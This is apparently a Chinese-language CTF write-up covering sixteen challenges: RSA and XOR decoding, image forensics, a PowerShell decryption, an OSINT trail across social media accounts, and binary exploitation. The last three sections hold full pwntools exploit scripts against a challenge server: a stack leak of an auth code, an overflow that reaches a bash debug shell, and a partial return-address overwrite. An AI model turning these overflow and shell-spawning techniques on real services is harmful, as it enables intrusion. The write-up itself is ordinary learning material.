好久没打ctf了,偶然间看到的,玩一下顺便做个记录。
意外的比赛不是很难,菜狗玩的很开心。
0x00 We Rest Upon a Single Hope
刚开始还以为是注入,看了下源代码别有乾坤。
f12打开控制台,随便输入内容提交后,会发现控制台显示:
Gozer the Traveler. He will come in one of the pre-chosen forms. During the rectification of the Vuldrini, the traveler came as a large and moving Torg! Then, during the third reconciliation of the last of the McKetrick supplicants, they chose a new form for him: that of a giant Slor! Many Shuvs and Zuuls knew what it was to be roasted in the depths of the Slor that day, I can tell you!
分析代码,提交的参数名是key,当key==v
时,会出现flag。
v的值直接使用console.log进行输出:
提交该值即可在控制台看到flag。
0x01 Vigil of the Ceaseless Eyes
flag路径已经在题目上了。。/ManyKin/secret/flag.pdf
,直接用IDM下载该文件就可以。
0x02 Unquestioned and Unrestrained
base64。
0x03 A Pale, Violet Light
用yafu分解:factor(34034827)
,得到p=5807,q=5861。
普通的rsa,梭哈一下,把空格替换成下划线。
#!/usr/bin/env python # -*- coding:utf-8 -*- import binascii import gmpy2 n=34034827 #这边我用yafu分解了n p=5807 q=5861 e=5039 c="933969 15848125 24252056 5387227 5511551 10881790 3267174 14500698 28242580 933969 32093017 18035208 2594090 2594090 9122397 21290815 15930721 4502231 5173234 21290815 23241728 2594090 21290815 18035208 10891227 15930721 202434 202434 21290815 5511551 202434 4502231 5173234 25243036" c = c.split() phi=(p-1)*(q-1) d=gmpy2.invert(e,phi) for i in range(34): c_temp = int(c[i]) m=pow(c_temp,d,n) print(binascii.unhexlify(hex(m)[2:].strip("L")))
0x04 Missing and Missed
brainfuck。
0x05 Here You See A Passer By
走迷宫,大概就这样。
0x06 If You Don’t, Remember Me
直接能看到一串疑似flag的字符串:
hex转文字即可:poctf{uwsp_w31c0m3_70_7h3_94m3}
0x07 A Petty Wage in Regret
使用010editor打开,HexToText找到第一段flag:poctf{uwsp_7h3_w0rld_h4d
然后试了下图片本身应该不存在任何隐写加密方式,遂放大查看图片,把锐化过度的地方描了个边找到了第二段flag。
0x08 Better to Burn in the Light
Winrar工具->修复压缩文件
找到了可疑的m.jpg,看了下十六进制有两个jpg文件头,删掉一个拿到了前半段很糊的flag。
后来对这个图片后面的元数据操作了半天也没有结果,想到文件中还有很多单名称没有打开的文件。。于是挨个用010editor打开。发现文档d实际为一张没有文件头的jpg文件,补全即可。
0x09 The Gentle Rocking of the Sun
注意到了题目描述里面的提示:crack2 = 4bd939ed2e01ed1e8540ed137763d73cd8590323
直接cmd5,得到zwischen。
0x0a Easy as it Gets
分析powershell代码,只需要把pwd变量赋值为”Canadian_Soap_Opera“,然后运行powershell代码。
function Decrypt-String($Encrypted, $Passphrase, $salt="SaltCrypto", $init="IV_Password") { if($Encrypted -is [string]){ $Encrypted = [Convert]::FromBase64String($Encrypted) } $r = new-Object System.Security.Cryptography.RijndaelManaged $pass = [Text.Encoding]::UTF8.GetBytes($Passphrase) $salt = [Text.Encoding]::UTF8.GetBytes($salt) $r.Key = (new-Object Security.Cryptography.PasswordDeriveBytes $pass, $salt, "SHA1", 5).GetBytes(32) #256/8 $r.IV = (new-Object Security.Cryptography.SHA1Managed).ComputeHash( [Text.Encoding]::UTF8.GetBytes($init) )[0..15] $d = $r.CreateDecryptor() $ms = new-Object IO.MemoryStream @(,$Encrypted) $cs = new-Object Security.Cryptography.CryptoStream $ms,$d,"Read" $sr = new-Object IO.StreamReader $cs Write-Output $sr.ReadToEnd() $sr.Close() $cs.Close() $ms.Close() $r.Clear() } $pwd = "Canadian_Soap_Opera" $pcrypted = "TTpgx3Ve2kkHaFNfixbAJfwLqTGQdk9dkmWJ6/t0UCBH2pGyJP/XDrXpFlejfw9d" write-host "Encrypted Password is: $pcrypted" write-host "" write-host "Testing Decryption of Username / Password..." write-host "" $pdecrypted = Decrypt-String $pcrypted $pwd write-host "Decrypted Password is: $pdecrypted"
0x0b A Tangled Web We Weave
section .data encoded_message db 0x0F, 0x10, 0x1C, 0x0B, 0x19, 0x04, 0x0A, 0x08, 0x0C, 0x0F, 0x20, 0x14, 0x4E, 0x11, 0x46, 0x20, 0x14, 0x4F, 0x11, 0x46, 0x20, 0x46, 0x4F, 0x48, 0x20, 0x11, 0x4F, 0x48, 0x17, 0x4E, 0x11, 0x46, 0x20, 0x4F, 0x11, 0x20, 0x12, 0x4C, 0x02 section .text global _start _start: mov ecx, 0 mov edi, encoded_message find_length: cmp byte [edi], 0 je print_message inc ecx inc edi jmp find_length print_message: xor esi, esi mov edi, encoded_message decode: xor eax, eax mov al, byte [edi + esi] xor al, ; something missing? mov byte [edi + esi], al inc esi cmp byte [edi + esi], 0 jne decode mov edx, ecx mov eax, 4 mov ebx, 1 mov ecx, encoded_message int 0x80 mov eax, 1 xor ebx, ebx int 0x80
分析汇编代码,要解密的话第一步是异或4,第二步异或一个未知的值。
根据flag的规则猜测encoded_message的第一个字符应该为p,0x0F^4^ord('p')
得到123,检测了下第二个字符异或后为o,至此找到了正确的解密方式,写脚本。
0x0c A Great Interior Desert
懒得截图了所以。。👇
根据题目提示,访问mastodon.social中的@free_jack_marigold账户👉在账户个人资料中的”SOCIAL MEMEIA“一栏找到了关键词”@jock_bronson“👉访问该关键词推特-👉找到互动和关注者@MontezumaClove1👉找到@jock_bronson曾经艾特@MontezumaClove1和@SenorSpacecakes并称”Don’t tellt he people about the thing with the stuff.“的推文👉访问@SenorSpacecakes主页找到其ins账号👉在ins中看到了flag。
0x0d Sunshine on Filth is Not Polluted
给的提示的两个哈希没什么用,main函数如下:
int __cdecl main(int argc, const char **argv, const char **envp) { init(argc, argv, envp); generate_code(); configure_username(); login(); return 0; }
首先执行generate_code()创建随机认证码:
__int64 generate_code() { __int64 result; // rax unsigned int v1; // [rsp+0h] [rbp-10h] v1 = (rand() + 123) % 10000; result = v1; auth_code = v1; return result; }
创建完后显示选项,与user交互:
__int64 configure_username() { __int64 result; // rax char src[16]; // [rsp+0h] [rbp-10h] BYREF while ( 1 ) { printf("Options: (1) Enter username, (2) Confirm username, (3) Done: "); result = get_int(); if ( (_DWORD)result == 3 ) break; if ( (int)result <= 3 ) { if ( (_DWORD)result == 1 ) { printf("Username: "); __isoc99_scanf("%15s", src); strncpy(auth_username, src, 0x10uLL); } else if ( (_DWORD)result == 2 ) { printf("Current username is: %s\n", src); } } } return result;
可以看到,src和v1到rbp的距离相等,也就是说在没有输入src之前,v1的值即为认证码的值,可以通过输入2来显示此时src(也就是v1)的值,来获取认证码。
from pwn import * local = 2 if local == 1: io = process('./re3.bin') else: io = remote('34.123.210.162',20231) io.recvuntil(":") io.sendline("2") io.recvuntil("is: ") auth_code = u16(io.recv(2)) io.recvuntil(":") io.sendline("1") io.recvuntil("Username: ") io.sendline("admin") io.recvuntil(":") io.sendline("3") io.recvuntil("code: ") io.sendline(str(auth_code)) io.interactive()
0x0e My Friend, A Loathsome Worm
main函数如下:
int __cdecl __noreturn main(int argc, const char **argv, const char **envp) { int v3; // [rsp+Ch] [rbp-34h] __int64 v4[3]; // [rsp+10h] [rbp-30h] BYREF int v5; // [rsp+28h] [rbp-18h] int v6; // [rsp+2Ch] [rbp-14h] unsigned __int64 v7; // [rsp+38h] [rbp-8h] v7 = __readfsqword(0x28u); v4[0] = '321tseuG'; v4[1] = 0LL; v4[2] = 0LL; v5 = 0; v6 = 999; ((void (__fastcall *)(int, const char **))init)(argc, argv); printf("Welcome, you are logged in as '%s'\n", (const char *)v4); while ( 1 ) { printf("\nHow can I help you, %s?\n", (const char *)v4); puts(" (1) Change username"); puts(" (2) Switch to root account"); puts(" (3) Start a debug shell"); printf("Choice: "); v3 = get_int(); switch ( v3 ) { case 1: printf("Enter new username: "); __isoc99_scanf("%s", v4); break; case 2: puts("Sorry, root account is currently disabled"); break; case 3: if ( v6 == 999 ) { puts("Sorry, guests aren't allowed to use the debug shell"); } else if ( v6 == 1337 ) { puts("Starting debug shell"); execl("/bin/bash", "/bin/bash", 0LL); } else { puts("Unrecognized user type"); } break; default: puts("Unknown option"); break; } } }
因为v6距离rbp的距离在v4的底下,所以输入的v4可以直接给v6覆盖。
from pwn import * local = 2 if local == 1: io = process('./exploit1.bin') else: io = remote('34.123.210.162',20232) payload = 'a'*(0x30-0x14)+p32(1337) io.recvuntil("Choice: ") io.sendline("1") io.recvuntil("username: ") io.sendline(payload) io.recvuntil("Choice: ") io.sendline("3") io.interactive()
0x0f Time is but a Window
开了PIE保护,地址是随机的,存在后门函数win():
int win() { alarm(0); return execl("/bin/bash", "/bin/bash", 0LL); }
greet()存在溢出漏洞:
int greet() { char v1[16]; // [rsp+0h] [rbp-10h] BYREF printf("Hello! What's your name?: "); get_string(v1); return printf("Nice to meet you %s!\n", v1); }
greet()的运行地址0x1364和win()的运行地址0x13cb仅后两位不同,因为相对距离不变,所以可以直接覆盖后两位。
from pwn import * local = 2 if local == 1: io = process('./exploit3.bin') else: io = remote('34.123.210.162',20234) payload = 'a'*0x10+p64(0xdeadbeef)+p8(0xcb) io.recvuntil("name?: ") io.sendline(payload) io.interactive()